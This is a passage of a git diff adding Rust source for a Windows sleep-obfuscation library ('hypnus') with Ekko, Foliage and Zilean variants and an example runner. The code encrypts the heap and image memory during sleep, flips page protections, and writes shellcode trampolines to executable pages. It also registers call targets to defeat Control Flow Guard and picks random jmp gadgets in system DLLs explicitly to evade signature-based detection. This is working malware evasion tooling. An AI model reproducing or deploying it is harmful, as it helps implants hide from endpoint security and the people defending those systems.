find_call_nttestalert_gadget(module: *mut u8, size: ULONG) -> *mut c_void { + if module.is_null() || size < 13 { + return core::ptr::null_mut(); + } + + let pattern: [u8; 13] = [ + 0x48, 0x83, 0xEC, 0x28, 0xF7, 0x41, 0x04, 0x66, 0x00, 0x00, 0x00, 0x74, 0x05, + ]; + + for x in 0..(size - 13) { + let mut found = true; + for i in 0..13 { + if *module.add(x as usize + i) != pattern[i] { + found = false; + break; + } + } + + if found { + let gadget = module.add(x as usize + 0xd) as *mut c_void; + if !gadget.is_null() && (gadget as usize) >= 0x10000 { + return gadget; + } + } + } + + core::ptr::null_mut() +} + +/// Convert PE section characteristics flags to a Windows page protection constant. +/// +/// # Arguments +/// +/// * `characteristics` - Combination of `IMAGE_SCN_MEM_EXECUTE`, `IMAGE_SCN_MEM_READ`, +/// and `IMAGE_SCN_MEM_WRITE` flags from a PE section header. +/// +/// # Returns +/// +/// The corresponding `PAGE_*` protection constant (e.g., `PAGE_EXECUTE_READ`). +/// Falls back to `PAGE_NOACCESS` for unrecognized combinations. +#[link_section = ".text$E"] +pub fn section_characteristics_to_protect(characteristics: DWORD) -> DWORD { + let executable = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; + let readable = (characteristics & IMAGE_SCN_MEM_READ) != 0; + let writable = (characteristics & IMAGE_SCN_MEM_WRITE) != 0; + + match (executable, readable, writable) { + (true, true, true) => PAGE_EXECUTE_READWRITE, + (true, true, false) => PAGE_EXECUTE_READ, + (true, false, false) => PAGE_EXECUTE, + (false, true, true) => PAGE_READWRITE, + (false, true, false) => PAGE_READONLY, + _ => PAGE_NOACCESS, + } +} + +/// Check whether a page protection value includes write access. +/// +/// # Arguments +/// +/// * `protection` - A `PAGE_*` constant. +/// +/// # Returns +/// +/// `true` if the protection allows writing (`PAGE_READWRITE`, `PAGE_WRITECOPY`, +/// `PAGE_EXECUTE_READWRITE`, or `PAGE_EXECUTE_WRITECOPY`). +#[link_section = ".text$E"] +pub fn is_writable(protection: u32) -> bool { + protection == PAGE_EXECUTE_READWRITE + || protection == PAGE_EXECUTE_WRITECOPY + || protection == PAGE_READWRITE + || protection == PAGE_WRITECOPY +} + +/// Change a memory section's protection to `PAGE_READWRITE` if not already writable. +/// +/// Saves the previous protection in `section.previous_protect` for later restoration +/// via [`restore_section_protection`]. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (needs `kernel32.VirtualProtect`). +/// * `section` - The memory section to make writable. +/// +/// # Safety +/// +/// `section` must describe a valid mapped memory region. +#[link_section = ".text$E"] +pub unsafe fn make_section_writable(api: &mut crate::api::Api, section: &mut MemorySection) { + if !is_writable(section.current_protect) { + let mut old_protect = 0u32; + let result = api.kernel32.VirtualProtect( + section.base_address, + section.size, + PAGE_READWRITE, + &mut old_protect, + ); + if result != 0 { + section.previous_protect = old_protect; + section.current_protect = PAGE_READWRITE; + } + } +} + +/// Restore a memory section's protection to its `previous_protect` value. +/// +/// Counterpart to [`make_section_writable`]. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (needs `kernel32.VirtualProtect`). +/// * `section` - The memory section whose protection to restore. +/// +/// # Safety +/// +/// `section` must describe a valid mapped memory region and `previous_protect` +/// must have been set by a prior call to [`make_section_writable`]. +#[link_section = ".text$E"] +pub unsafe fn restore_section_protection(api: &mut crate::api::Api, section: &mut MemorySection) { + if section.current_protect != section.previous_protect { + let mut old_protect = 0u32; + let result = api.kernel32.VirtualProtect( + section.base_address, + section.size, + section.previous_protect, + &mut old_protect, + ); + if result != 0 { + section.current_protect = section.previous_protect; + } + } +} + +/// Make all tracked memory sections writable (batch version of [`make_section_writable`]). +/// +/// Iterates `api.sleep.sections[0..num_sections]` (capped at 20). +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers and sleep context with section list. +/// +/// # Safety +/// +/// All section entries must describe valid mapped memory regions. +#[link_section = ".text$E"] +pub unsafe fn make_sections_writable(api: &mut crate::api::Api) { + for i in 0..api.sleep.num_sections.min(20) { + let section_ptr = &mut api.sleep.sections[i] as *mut MemorySection; + make_section_writable(api, &mut *section_ptr); + } +} + +/// Restore all tracked memory sections to their original protections (batch version +/// of [`restore_section_protection`]). +/// +/// Iterates `api.sleep.sections[0..num_sections]` (capped at 20). +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers and sleep context with section list. +/// +/// # Safety +/// +/// All section entries must describe valid mapped memory regions with valid +/// `previous_protect` values. +#[link_section = ".text$E"] +pub unsafe fn restore_section_protections(api: &mut crate::api::Api) { + for i in 0..api.sleep.num_sections.min(20) { + let section_ptr = &mut api.sleep.sections[i] as *mut MemorySection; + restore_section_protection(api, &mut *section_ptr); + } +} + +/// Mark all tracked sections as having a specific protection in the tracking fields. +/// +/// This does **not** call `VirtualProtect` - it only updates `current_protect` so +/// that a subsequent [`restore_section_protections`] call sees the correct mismatch +/// and issues the real `VirtualProtect` calls. +/// +/// Typical use: after an NtContinue chain flips the entire buffer to +/// `PAGE_EXECUTE_READ`, call this with `protect = PAGE_EXECUTE_READ` to sync +/// tracking before restoring per-section permissions. +#[link_section = ".text$E"] +pub unsafe fn mark_sections_protect(api: &mut crate::api::Api, protect: u32) { + for i in 0..api.sleep.num_sections.min(20) { + api.sleep.sections[i].current_protect = protect; + } +} diff --git a/crates/api/src/windows.rs b/crates/api/src/windows.rs new file mode 100644 index 0000000..0b285d6 --- /dev/null +++ b/crates/api/src/windows.rs @@ -0,0 +1 @@ +pub use ntdef::windows::*; diff --git a/crates/example/Cargo.toml b/crates/example/Cargo.toml new file mode 100644 index 0000000..7fe9d59 --- /dev/null +++ b/crates/example/Cargo.toml @@ -0,0 +1,21 @@ +[package] +name = "example" +version = "0.1.0" +edition = "2021" + +[dependencies] +hypnus = { path = "../hypnus" } +uwd = { path = "../uwd" } +api = { path = "../api" } + +[features] +default = ["sleep-ekko", "sleep-foliage", "sleep-zilean", "spoof-uwd", "debug-console"] +sleep-ekko = ["hypnus/sleep-ekko"] +sleep-foliage = ["hypnus/sleep-foliage"] +sleep-zilean = ["hypnus/sleep-zilean"] +sleep-xor = ["hypnus/sleep-xor"] +spoof-uwd = ["uwd/spoof-uwd", "api/spoof-uwd"] +spoof-syscall = ["uwd/spoof-syscall"] +debug-console = ["api/debug-console", "hypnus/debug-console"] +debug-dbgprint = ["api/debug-dbgprint", "hypnus/debug-dbgprint"] + diff --git a/crates/example/src/main.rs b/crates/example/src/main.rs new file mode 100644 index 0000000..6b02647 --- /dev/null +++ b/crates/example/src/main.rs @@ -0,0 +1,60 @@ +#![no_std] +#![no_main] + +use api::{api::Api, util::module_size, windows::NtCurrentPeb}; + +#[unsafe(no_mangle)] +fn main() -> u8 { + let mut api = Api::new(); + + unsafe { + let peb = NtCurrentPeb(); + let base = (*peb).ImageBaseAddress as *mut u8; + let size = module_size(base as usize) as usize; + + api.sleep.buffer = base; + api.sleep.length = size; + api.sleep.dw_milliseconds = 5000; + + #[cfg(feature = "spoof-uwd")] + api.build_spoof_configs(); + + api::log_info!(b"image base", base); + api::log_info!(b"image size", size); + + #[cfg(feature = "sleep-foliage")] + { + api::log_info!(b"=== starting foliage test (3 iterations, 5s each) ==="); + for _ in 0..3 { + hypnus::foliage::foliage_with_fiber(&mut api); + } + api::log_info!(b"=== foliage test complete ==="); + } + + #[cfg(feature = "sleep-ekko")] + { + api::log_info!(b"=== starting ekko test (3 iterations, 5s each) ==="); + for _ in 0..3 { + hypnus::ekko::ekko_with_fiber(&mut api); + } + api::log_info!(b"=== ekko test complete ==="); + } + + #[cfg(feature = "sleep-zilean")] + { + api::log_info!(b"=== starting zilean test (3 iterations, 5s each) ==="); + for _ in 0..3 { + hypnus::zilean::zilean_with_fiber(&mut api); + } + api::log_info!(b"=== zilean test complete ==="); + } + } + + 0 +} + +#[cfg(not(test))] +#[panic_handler] +fn panic(_info: &core::panic::PanicInfo) -> ! { + loop {} +} diff --git a/crates/hypnus/Cargo.toml b/crates/hypnus/Cargo.toml new file mode 100644 index 0000000..d55c2cf --- /dev/null +++ b/crates/hypnus/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "hypnus" +version = "0.1.0" +edition = "2021" + +[features] +sleep-ekko = [] +sleep-foliage = [] +sleep-zilean = [] +sleep-xor = [] +spoof-uwd = [] +debug-console = ["api/debug-console"] +debug-dbgprint = ["api/debug-dbgprint"] + +[dependencies] +api = { path = "../api" } +ntdef = { path = "../ntdef" } +uwd = { path = "../uwd" } diff --git a/crates/hypnus/src/common.rs b/crates/hypnus/src/common.rs new file mode 100644 index 0000000..d8abd92 --- /dev/null +++ b/crates/hypnus/src/common.rs @@ -0,0 +1,1330 @@ +//! Shared infrastructure for sleep obfuscation techniques. +//! +//! This module provides the building blocks used by all three chain-based techniques +//! (Ekko, Foliage, Zilean): encryption key generation, heap encryption, JMP gadget +//! scanning, shellcode stub allocation, CFG bypass, stack layout spoofing, and thread +//! context spoofing. + +use { + api::{ + api::{Api, MemorySection}, + util::memzero, + windows::*, + NT_SUCCESS, + }, + core::{ + ffi::c_void, + mem::{size_of, zeroed}, + ptr::null_mut, + }, +}; + +/// Size of the RC4 encryption key in bytes. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +pub const KEY_SIZE: usize = 16; + +/// Alphanumeric character set used to generate random encryption keys. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +pub const KEY_VALS: &[u8; 62] = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + +/// 128-byte repeating XOR key used by the `sleep-xor` feature for memory masking. +#[cfg(feature = "sleep-xor")] +pub const XORKEY: [u8; 128] = [ + 0x4a, 0x7b, 0x2f, 0x91, 0xe3, 0x5d, 0xc8, 0x16, 0xa9, 0x3e, 0xf2, 0x84, 0x0b, 0x6d, 0xd7, 0x53, + 0xbe, 0x29, 0x95, 0x41, 0xfc, 0x68, 0x1a, 0xe6, 0x7f, 0xc3, 0x0d, 0x9a, 0x52, 0xb4, 0x27, 0xdf, + 0x8c, 0x15, 0x63, 0xaa, 0x3b, 0xf9, 0x4e, 0x81, 0xd2, 0x06, 0x74, 0xcd, 0x38, 0xef, 0x5a, 0x97, + 0x1c, 0xb0, 0x49, 0xe5, 0x22, 0x8f, 0xdb, 0x66, 0x03, 0x7c, 0xa1, 0x34, 0xf5, 0x58, 0xca, 0x2d, + 0x9e, 0x13, 0x6a, 0xbc, 0x47, 0xd9, 0x04, 0x72, 0xe8, 0x35, 0x8b, 0x5f, 0xc1, 0x26, 0xad, 0x60, + 0xf7, 0x1e, 0x93, 0x4c, 0xda, 0x09, 0x75, 0xe1, 0x3c, 0xa8, 0x57, 0xce, 0x2a, 0x86, 0xfb, 0x44, + 0xb3, 0x0f, 0x69, 0xd5, 0x31, 0x9c, 0x48, 0xec, 0x17, 0x7a, 0xc5, 0x02, 0xaf, 0x5b, 0xe0, 0x33, + 0x8d, 0x42, 0xf1, 0x1b, 0x67, 0xdc, 0x28, 0x94, 0x4f, 0xba, 0x0e, 0x73, 0xd1, 0x3a, 0xa5, 0x59, +]; + +/// Apply a repeating 128-byte XOR mask over `len` bytes starting at `data`. +/// +/// # Arguments +/// +/// * `data` - Pointer to the start of the memory region to XOR. +/// * `len` - Number of bytes to XOR. +/// +/// # Safety +/// +/// `data` must point to at least `len` bytes of writable memory. +#[cfg(feature = "sleep-xor")] +#[link_section = ".text$E"] +pub unsafe fn apply_xor_mask(data: *mut u8, len: usize) { + for i in 0..len { + *data.add(i) ^= XORKEY[i % 128]; + } +} + +/// Generate a random 16-byte alphanumeric encryption key using `RtlRandomEx`. +/// +/// The key is stored in `api.advapi.enckey` and used by `SystemFunction032` (RC4) +/// for heap encryption. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers. The generated key is written to `api.advapi.enckey`. +/// +/// # Safety +/// +/// `Api` function pointers must be resolved. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$E"] +pub unsafe fn generate_encryption_key(api: &mut Api) { + let mut seed: ULONG = 1337; + + for i in 0..KEY_SIZE { + seed = api.ntdll.RtlRandomEx(&mut seed); + api.advapi.enckey[i] = KEY_VALS[(seed % 61) as usize]; + } +} + +/// Encrypt all busy heap allocations in-place using RC4 (`SystemFunction032`). +/// +/// Walks the process heap via `RtlWalkHeap`, encrypting each busy entry with the +/// key stored in `api.advapi.enckey`. Zeroes all local structs after use. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers with encryption key in `api.advapi.enckey`. +/// +/// # Safety +/// +/// `Api` function pointers must be resolved. The heap must not be concurrently modified. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$E"] +pub unsafe fn encrypt_heap_rc4(api: &mut Api) { + let mut s32key = USTRING { + Length: KEY_SIZE as _, + MaximumLength: KEY_SIZE as _, + Buffer: api.advapi.enckey.as_mut_ptr() as _, + }; + + let mut s32data = USTRING { + Length: 0, + MaximumLength: 0, + Buffer: null_mut(), + }; + + let mut entry: RTL_HEAP_WALK_ENTRY = zeroed(); + + // Step 1) Walk the heap and RC4-encrypt each busy allocation + while NT_SUCCESS!(api.ntdll.RtlWalkHeap(api.sleep.heap, &mut entry)) { + if entry.Flags & RTL_PROCESS_HEAP_ENTRY_BUSY != 0 { + s32data.Length = entry.DataSize as u32; + s32data.MaximumLength = entry.DataSize as u32; + s32data.Buffer = entry.DataAddress as _; + api.advapi.SystemFunction032(&mut s32data, &mut s32key); + } + } + + // Step 2) Zero all local structs to avoid leaking key material on the stack + memzero(&mut s32data as *mut _ as *mut u8, size_of::() as _); + memzero(&mut s32key as *mut _ as *mut u8, size_of::() as _); + memzero( + &mut entry as *mut _ as *mut u8, + size_of::() as _, + ); +} + +/// XOR all busy heap allocations using [`apply_xor_mask`]. +/// +/// Walks the process heap and applies the repeating 128-byte XOR key to each busy entry. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers with heap handle in `api.sleep.heap`. +/// +/// # Safety +/// +/// `Api` function pointers must be resolved. The heap must not be concurrently modified. +#[cfg(feature = "sleep-xor")] +#[link_section = ".text$E"] +pub unsafe fn xor_heap(api: &mut Api) { + let mut entry: RTL_HEAP_WALK_ENTRY = zeroed(); + + while NT_SUCCESS!(api.ntdll.RtlWalkHeap(api.sleep.heap, &mut entry)) { + if entry.Flags & RTL_PROCESS_HEAP_ENTRY_BUSY != 0 { + apply_xor_mask(entry.DataAddress as _, entry.DataSize as _); + } + } + + memzero( + &mut entry as *mut _ as *mut u8, + size_of::() as _, + ); +} + +/// Check whether Control Flow Guard (CFG) is enforced for the current process. +/// +/// Queries `NtQueryInformationProcess` with `ProcessControlFlowGuardPolicy`. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers. +/// +/// # Returns +/// +/// `true` if CFG is active and `SetProcessValidCallTargets` is available, `false` otherwise. +/// +/// # Safety +/// +/// `Api` function pointers must be resolved. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn is_cfg_enforced(api: &mut Api) -> bool { + let mut pr_info = EXTENDED_PROCESS_INFORMATION { + ExtendedProcessInfo: PROCESS_MITIGATION_POLICY::ProcessControlFlowGuardPolicy as u32, + ExtendedProcessInfoBuffer: 0, + }; + + if api.ntdll.NtQueryInformationProcess_ptr != null_mut() + && api.kernelbase.SetProcessValidCallTargets_ptr != null_mut() + { + if NT_SUCCESS!(api.ntdll.NtQueryInformationProcess( + -1isize as _, + ProcessCookie | ProcessUserModeIOPL, + &mut pr_info as *mut _ as *mut c_void, + core::mem::size_of::() as _, + null_mut() + )) { + return true; + } + } + + return false; +} + +/// Register a function pointer as a valid CFG indirect call target. +/// +/// If CFG is enforced, calls `SetProcessValidCallTargets` to add `func_ptr` to the +/// CFG bitmap for `module`. This prevents CFG from terminating the process when +/// timer/wait/APC callbacks jump to our stubs and NT functions. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers. +/// * `module` - Base address of the loaded module containing `func_ptr`. +/// * `func_ptr` - The function address to register as a valid call target. +/// +/// # Returns +/// +/// `STATUS_SUCCESS` on success or if CFG is not enforced, otherwise the last NT error. +/// +/// # Safety +/// +/// `module` must be a valid loaded module base. `func_ptr` must point within `module`. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn set_valid_call_targets( + api: &mut Api, + module: HANDLE, + func_ptr: *mut c_void, +) -> NTSTATUS { + if is_cfg_enforced(api) { + // Step 1) Parse PE headers to get image size + let dos_header = module as *mut IMAGE_DOS_HEADER; + let nt_header = + (module as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS; + + let size_of_image = (*nt_header).OptionalHeader.SizeOfImage; + let length = (size_of_image + 0x1000 - 1) & !(0x1000 - 1); + + // Step 2) Build CFG_CALL_TARGET_INFO with offset relative to module base + let mut cf_info = CFG_CALL_TARGET_INFO { + Offset: (func_ptr as usize - module as usize), + Flags: CFG_CALL_TARGET_VALID, + }; + + // Step 3) Register the target in the CFG bitmap + let ok = api.kernelbase.SetProcessValidCallTargets( + (-1isize) as HANDLE, + module, + length as _, + 1, + &mut cf_info, + ); + + if ok == 0 { + return (*NtCurrentTeb()).LastErrorValue as NTSTATUS; + } + } + return STATUS_SUCCESS; +} + +/// Allocate and write the trampoline shellcode stub (8 bytes, RX). +/// +/// The trampoline adapts timer/wait callback signatures to `RtlCaptureContext`: +/// ```text +/// 48 89 D1 mov rcx, rdx ; callback arg2 (CONTEXT ptr) -> arg1 +/// 48 31 D2 xor rdx, rdx ; clear rdx +/// FF 21 jmp [rcx] ; jump to [ctx.P1Home] = RtlCaptureContext +/// ``` +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers. +/// +/// # Returns +/// +/// `Some(addr)` with the RX page address on success, `None` on allocation failure. +/// +/// # Safety +/// +/// `Api` function pointers must be resolved. +#[cfg(any(feature = "sleep-ekko", feature = "sleep-zilean"))] +#[link_section = ".text$D"] +pub unsafe fn alloc_trampoline(api: &mut Api) -> Option { + // 48 89 D1 mov rcx, rdx ; shuffle callback arg2 -> arg1 + // 48 31 D2 xor rdx, rdx ; zero rdx + // FF 21 jmp [rcx] ; indirect jump through CONTEXT.P1Home + let trampoline = &[0x48, 0x89, 0xD1, 0x48, 0x31, 0xD2, 0xFF, 0x21]; + + // Step 1) Allocate RW page + let mut size = trampoline.len(); + let mut addr = null_mut(); + if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory( + -1isize as HANDLE, + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )) { + api::log_info!(b"[COMMON] alloc_trampoline: NtAllocateVirtualMemory failed"); + return None; + } + + // Step 2) Write shellcode bytes + api::util::memcopy( + addr as *mut u8, + trampoline.as_ptr(), + trampoline.len() as u32, + ); + + // Step 3) Change to RX + let mut old_protect = 0; + if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory( + -1isize as HANDLE, + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect + )) { + api::log_info!(b"[COMMON] alloc_trampoline: NtProtectVirtualMemory RX failed"); + return None; + } + + // Step 4) Lock page in physical memory + api.ntdll + .NtLockVirtualMemory(-1isize as HANDLE, &mut addr, &mut size, VM_LOCK_1); + api::log_info!(b"[COMMON] alloc_trampoline: ok", addr); + Some(addr as u64) +} + +/// Allocate and write the callback shellcode stub (9 bytes, RX). +/// +/// The callback stub drives the NtContinue chain - each timer/wait/APC fires this: +/// ```text +/// 48 89 D1 mov rcx, rdx ; callback arg2 (CONTEXT ptr) -> rcx (arg1 for NtContinue) +/// 48 8B 41 78 mov rax, [rcx+0x78] ; load CONTEXT.Rax = NtContinue ptr +/// FF E0 jmp rax ; jump to NtContinue(ctx) +/// ``` +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers. +/// +/// # Returns +/// +/// `Some(addr)` with the RX page address on success, `None` on allocation failure. +/// +/// # Safety +/// +/// `Api` function pointers must be resolved. +#[cfg(any(feature = "sleep-ekko", feature = "sleep-zilean"))] +#[link_section = ".text$D"] +pub unsafe fn alloc_callback(api: &mut Api) -> Option { + // 48 89 D1 mov rcx, rdx ; CONTEXT ptr from callback arg2 + // 48 8B 41 78 mov rax, [rcx+0x78]; load ctx->Rax (NtContinue address) + // FF E0 jmp rax ; jump to NtContinue + let callback = &[0x48, 0x89, 0xD1, 0x48, 0x8B, 0x41, 0x78, 0xFF, 0xE0]; + + // Step 1) Allocate RW page + let mut size = callback.len(); + let mut addr = null_mut(); + if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory( + -1isize as HANDLE, + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )) { + api::log_info!(b"[COMMON] alloc_callback: NtAllocateVirtualMemory failed"); + return None; + } + + // Step 2) Write shellcode bytes + api::util::memcopy(addr as *mut u8, callback.as_ptr(), callback.len() as u32); + + // Step 3) Change to RX + let mut old_protect = 0; + if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory( + -1isize as HANDLE, + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect + )) { + api::log_info!(b"[COMMON] alloc_callback: NtProtectVirtualMemory RX failed"); + return None; + } + + // Step 4) Lock page in physical memory + api.ntdll + .NtLockVirtualMemory(-1isize as HANDLE, &mut addr, &mut size, VM_LOCK_1); + api::log_info!(b"[COMMON] alloc_callback: ok", addr); + Some(addr as u64) +} + +/// Allocate and write the set-event shellcode stub (19 bytes, RX). +/// +/// Signals an event from a timer/wait callback to notify the main thread: +/// ```text +/// 48 89 D1 mov rcx, rdx ; callback arg2 (event handle) +/// 31 D2 xor edx, edx ; second arg = 0 +/// FF 25 00 00 00 00 jmp [rip+0] ; indirect jump to NtSetEvent +/// XX XX XX XX XX XX XX XX ; <-- NtSetEvent function pointer (patched at runtime) +/// ``` +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers. `api.ntdll.NtSetEvent_ptr` is embedded in the stub. +/// +/// # Returns +/// +/// `Some(addr)` with the RX page address on success, `None` on allocation failure. +/// +/// # Safety +/// +/// `Api` function pointers must be resolved. +#[cfg(any(feature = "sleep-ekko", feature = "sleep-zilean"))] +#[link_section = ".text$D"] +pub unsafe fn alloc_set_event_stub(api: &mut Api) -> Option { + // Step 1) Allocate RW page (20 bytes: 11 code + 8 pointer + 1 pad) + let mut size = 20usize; + let mut addr = null_mut(); + if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory( + -1isize as HANDLE, + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )) { + api::log_info!(b"[COMMON] alloc_set_event_stub: NtAllocateVirtualMemory failed"); + return None; + } + + // Step 2) Write shellcode bytes + let p = addr as *mut u8; + // 48 89 D1 mov rcx, rdx ; event handle from callback arg2 + p.add(0).write(0x48); + p.add(1).write(0x89); + p.add(2).write(0xD1); + // 31 D2 xor edx, edx ; second arg = 0 + p.add(3).write(0x31); + p.add(4).write(0xD2); + // FF 25 00000000 jmp [rip+0] ; indirect jump to address at next 8 bytes + p.add(5).write(0xFF); + p.add(6).write(0x25); + p.add(7).write(0x00); + p.add(8).write(0x00); + p.add(9).write(0x00); + p.add(10).write(0x00); + // Inline NtSetEvent function pointer (8 bytes, written at runtime) + (p.add(11) as *mut u64).write_unaligned(api.ntdll.NtSetEvent_ptr as u64); + + // Step 3) Change to RX + let mut old_protect = 0; + if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory( + -1isize as HANDLE, + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect + )) { + api::log_info!(b"[COMMON] alloc_set_event_stub: NtProtectVirtualMemory RX failed"); + return None; + } + + // Step 4) Lock page in physical memory + api.ntdll + .NtLockVirtualMemory(-1isize as HANDLE, &mut addr, &mut size, VM_LOCK_1); + api::log_info!(b"[COMMON] alloc_set_event_stub: ok", addr); + Some(addr as u64) +} + +/// x64 general-purpose register targeted by a JMP gadget. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Reg { + /// `FF E7` - `jmp rdi` + Rdi, + /// `41 FF E2` - `jmp r10` + R10, + /// `41 FF E3` - `jmp r11` + R11, + /// `41 FF E4` - `jmp r12` + R12, + /// `41 FF E5` - `jmp r13` + R13, + /// `41 FF E6` - `jmp r14` + R14, + /// `41 FF E7` - `jmp r15` + R15, +} + +/// Byte patterns for each `jmp ` gadget and the corresponding [`Reg`]. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +/// Inline byte scan for a 2-byte or 3-byte gadget pattern in a memory region. +/// Returns the offset of the first match, or `usize::MAX` if not found. +/// Uses raw pointers to avoid slice references to static data (PIC-safe). +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +#[inline(always)] +unsafe fn scan_gadget(base: *const u8, len: usize, b0: u8, b1: u8, b2: i16) -> usize { + let need = if b2 >= 0 { 3 } else { 2 }; + let mut i = 0usize; + while i + need <= len { + if *base.add(i) == b0 && *base.add(i + 1) == b1 { + if b2 < 0 || *base.add(i + 2) == b2 as u8 { + return i; + } + } + i += 1; + } + usize::MAX +} + +/// A JMP gadget found in a legitimate DLL's `.text` section. +/// +/// Used to hide the real call target: `ctx.Rip` is set to `addr` (the gadget), and +/// the actual NT function address goes into the register specified by `reg`. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[derive(Debug, Clone, Copy)] +pub struct JmpGadget { + /// Address of the gadget instruction within a system DLL. + pub addr: u64, + /// Which register the gadget jumps through. + pub reg: Reg, +} + +/// Locate the `.text` section of a PE module by walking its section headers. +/// +/// # Arguments +/// +/// * `base` - Base address of a loaded PE module. +/// +/// # Returns +/// +/// `Some((ptr, size))` with a pointer to `.text` and its virtual size, or `None` if +/// the module base is null or the PE headers are invalid. +/// +/// # Safety +/// +/// `base` must be the base address of a valid loaded PE module. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn get_text_section(base: usize) -> Option<(*const u8, usize)> { + if base == 0 { + return None; + } + + // Step 1) Validate DOS header + let dos = base as *const IMAGE_DOS_HEADER; + if (*dos).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + // Step 2) Validate NT headers + let nt = (base + (*dos).e_lfanew as usize) as *const IMAGE_NT_HEADERS; + if (*nt).Signature != IMAGE_NT_SIGNATURE { + return None; + } + + // Step 3) Walk section headers to find ".text" + let num_sections = (*nt).FileHeader.NumberOfSections as usize; + let first_section = IMAGE_FIRST_SECTION(nt as *mut _); + + for i in 0..num_sections { + let section = &*first_section.add(i); + let name = §ion.Name; + if name[0] == b'.' + && name[1] == b't' + && name[2] == b'e' + && name[3] == b'x' + && name[4] == b't' + { + let ptr = (base + section.VirtualAddress as usize) as *const u8; + let size = section.Misc.virtual_size as usize; + return Some((ptr, size)); + } + } + + None +} + +/// Scan ntdll, kernel32, and kernelbase `.text` sections for `jmp ` gadgets. +/// +/// Collects up to 21 candidates (7 patterns x 3 DLLs), then picks one at random +/// using `rdtsc` as a seed. A different gadget is chosen each run to resist +/// signature-based detection. +/// +/// # Arguments +/// +/// * `api` - Resolved API with loaded module handles for ntdll, kernel32, and kernelbase. +/// +/// # Returns +/// +/// `Some(JmpGadget)` with the randomly selected gadget, or `None` if no gadgets found. +/// +/// # Safety +/// +/// `Api` module handles must point to valid loaded DLLs. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn find_jmp_gadgets(api: &Api) -> Option { + let mut all_gadgets: [Option; 21] = [None; 21]; + let mut count = 0usize; + + // 7 gadget patterns: (byte0, byte1, byte2_or_neg1, register) + // byte2 = -1 means 2-byte pattern, >= 0 means 3-byte pattern + let patterns: [(u8, u8, i16, Reg); 7] = [ + (0xFF, 0xE7, -1, Reg::Rdi), // jmp rdi + (0x41, 0xFF, 0xE2, Reg::R10), // jmp r10 + (0x41, 0xFF, 0xE3, Reg::R11), // jmp r11 + (0x41, 0xFF, 0xE4, Reg::R12), // jmp r12 + (0x41, 0xFF, 0xE5, Reg::R13), // jmp r13 + (0x41, 0xFF, 0xE6, Reg::R14), // jmp r14 + (0x41, 0xFF, 0xE7, Reg::R15), // jmp r15 + ]; + + let module_bases = [api.ntdll.handle, api.kernel32.handle, api.kernelbase.handle]; + + // Step 1) Scan .text section of each DLL for all 7 jmp patterns + let mut m = 0usize; + while m < 3 { + if let Some((text_ptr, text_size)) = get_text_section(module_bases[m]) { + let mut seen = [false; 7]; + let mut p = 0usize; + while p < 7 { + if !seen[p] { + let (b0, b1, b2, reg) = patterns[p]; + let pos = scan_gadget(text_ptr, text_size, b0, b1, b2); + if pos != usize::MAX && count < 21 { + all_gadgets[count] = Some(JmpGadget { + addr: text_ptr as u64 + pos as u64, + reg, + }); + count += 1; + seen[p] = true; + } + } + p += 1; + } + } + m += 1; + } + + if count == 0 { + return None; + } + + // Step 2) Pick a random gadget using CPU timestamp counter + let seed = core::arch::x86_64::_rdtsc() as usize; + all_gadgets[seed % count] +} + +/// Configure a CONTEXT to call `target` through a JMP gadget indirection. +/// +/// Sets 